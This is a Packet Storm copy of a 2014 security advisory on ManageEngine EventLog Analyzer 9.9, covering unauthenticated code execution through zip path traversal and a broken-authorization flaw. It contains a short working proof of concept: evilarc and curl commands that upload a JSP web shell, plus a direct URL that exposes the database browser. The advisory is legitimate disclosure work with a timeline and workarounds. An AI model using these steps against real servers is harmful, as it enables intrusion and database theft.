ManageEngine EventLog Analyzer 9.9 Authorization / Code Execution

2014-09-01T00:00:00
ID PACKETSTORM:128102
Type packetstorm
Reporter Hans-Martin Muench
Modified 2014-09-01T00:00:00

Description

                                        
                                            `Mogwai Security Advisory MSA-2014-01  
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Title: ManageEngine EventLog Analyzer Multiple Vulnerabilities  
Product: ManageEngine EventLog Analyzer   
Affected versions: EventLog Analyzer 9.9 (Build 9002) on Windows/Linux  
Impact: critical  
Remote: yes  
Product link: http://www.manageengine.com/products/eventlog/  
Reported: 18/04/2013  
by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)  
  
  
Vendor's Description of the Software:  
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EventLog Analyzer provides the most cost-effective Security Information and  
Event Management (SIEM) software on the market. Using this Log Analyzer  
software, organizations can automate the entire process of managing terabytes  
of machine generated logs by collecting, analyzing, searching, reporting,  
and archiving from one central location. This event log analyzer software  
helps to mitigate internal threats, conduct log forensics analysis, monitor  
privileged users and comply to different compliance regulatory bodies  
by intelligently analyzing your logs and instantly generating a variety of  
reports like user activity reports, regulatory compliance reports,  
historical trend reports, and more.  
  
  
Business recommendation:  
----------------------------------------------------------------------  
During a penetration test, multiple vulnerabilities have been identified  
that are based on severe design/implementation flaws in the application.  
It is highly recommended not to use this software until a thorough  
security review has been performed by security professionals and all  
identified issues have been resolved.  
  
  
Vulnerability description:  
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1) Unauthenticated remote code execution  
ME EventLog Analyzer contains a "agentUpload" servlet which is used by Agents  
to send log data as zip files to the central server. Files can be uploaded  
without  
authentication and are stored/decompressed in the "data" subdirectory.  
  
As the decompress procedure is handling the file names in the ZIP file in a  
insecure way it is possible to store files in the web root of server. This can  
be used to upload/execute code with the rights of the application server.  
  
2) Authorization issues  
The EventLog Analyzer web interface does not check if an authenticated has  
sufficient permissions to access certain parts of the application. A low  
privileged  
user (for example guest) can therefore access critical sections of the web  
interface,  
by directly calling the corresponding URLs. This can be used to access the  
database  
browser of the application which gives the attacker full access to the database.  
  
  
Proof of concept:  
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1) Unauthenticated remote code execution  
  
  
- Create a malicious zip archive with the help of evilarc[1]  
evilarc.py -d 2 -o unix -p webapps/event cmdshell.jsp  
- Send the malicious archive to the agentUpload servlet  
curl -F "payload=@evil.zip" http://172.16.37.131:8400/agentUpload  
- Enjoy your shell  
http://172.16.37.131:8400/cmdshell.jsp  
  
A working Metasploit module will be released next week.  
  
  
2) Authorization issues  
- Log in as a low privileged user (for example guest/guest)  
- Directly call the URL of the database browser  
http://xxx.xxx.xxx.xxx:8400/event/runQuery.do  
  
  
Vulnerable / tested versions:  
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EventLog Analyzer 8.2 (Build 8020) (Windows)  
EventLog Analyzer 8.2 (Build 8020) (Linux)  
EventLog Analyzer 9.0 (Build 9002) (Windows)  
EventLog Analyzer 9.0 (Build 9002) (Linux)  
  
Other versions might also be vulnerable.  
  
  
Disclosure timeline:  
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14/04/2013: Vulnerability discovery  
18/04/2013: Informed vendor via ManageEngine Security Response Center (MESRC)  
Form  
23/04/2013: Second try to contact MESRC, as we didn't receive any response from  
the first try.  
23/04/2013: Response from vendor, they wait on some feedback from the  
development team  
10/05/2013: Response from vendor, saying that this is rather a issue than a  
vulnerability, will fix it anyway  
13/05/2013: Technical details including a working proof of concept send  
ManageEngine.  
13/05/2013: Vendor response, say that they forward it to the development team  
24/05/2013: Vendor response, saying that they will fix it in 2013 as they are  
"tightly scheduled on other priorities"  
24/05/2013: Response from us, asking if we will be informed when the  
vulnerability is fixed  
28/05/2013: Response from ManageEngine, saying that we must subscribe to their  
newsletter for release information  
05/09/2013: Verification that exploit is still working with the current version  
30/08/2014: Verification that exploit is still working with the current version  
31/08/2014: Public release  
  
Solution:  
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No known solution  
  
Workaround:  
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1) Unauthenticated remote code execution  
If agents are not used to collect log information, access to the servlet  
can be disabled by commenting out the following lines in the web.xml file  
(webapps/event/WEB-INF/web.xml) and restart the service.  
  
  
agentUpload  
com.adventnet.sa.agent.UploadHandlerServlet  
  
  
agentUpload  
/agentUpload  
  
  
  
2) Authorization issues  
No workaround, reduce the attack surface by disabling unused low privileged  
accounts like "guest".  
  
  
Advisory URL:  
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https://www.mogwaisecurity.de/en/lab/advisories/  
  
  
References  
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[1] evilarc  
https://github.com/ptoomey3/evilarc  
  
----------------------------------------------------------------------  
Mogwai, IT-Sicherheitsberatung Muench  
Steinhoevelstrasse 2/2  
89075 Ulm (Germany)  
  
info@mogwaisecurity.de  
  
  
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